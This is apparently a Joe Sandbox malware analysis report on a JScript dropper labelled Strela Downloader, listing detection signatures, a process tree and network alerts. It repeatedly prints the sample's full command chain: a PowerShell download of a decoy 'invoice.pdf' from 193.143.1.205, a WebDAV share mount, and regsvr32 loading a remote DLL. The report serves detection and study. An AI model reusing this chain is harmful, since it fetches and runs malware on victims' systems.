Edit tour

Windows Analysis Report
25055222211104026628.js

Overview

General Information

Sample name:	25055222211104026628.js
Analysis ID:	1588248
MD5:	4d6534dbdcb4a43a9c7cc3543646aa1e
SHA1:	e4329381d920000886067d6d625c711f571069a7
SHA256:	236960faafbad83136354dbb4e515ad80bda68e456083a60d190900da9fcd1df
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7424 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7516 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7568 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7784 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8020 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3580 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1620,i,11961020703151592691,4071511003086952442,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7824 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7904 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8084 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7424	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7568, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7568, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js", ProcessId: 7424, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7904, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js", ProcessId: 7424, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7568, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7824, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7904, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8084, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7824, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7904, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll, ProcessId: 7516, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:04:23.978839+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:04:21.430267+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 25055222211104026628.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 25055222211104026628.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:04:21 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

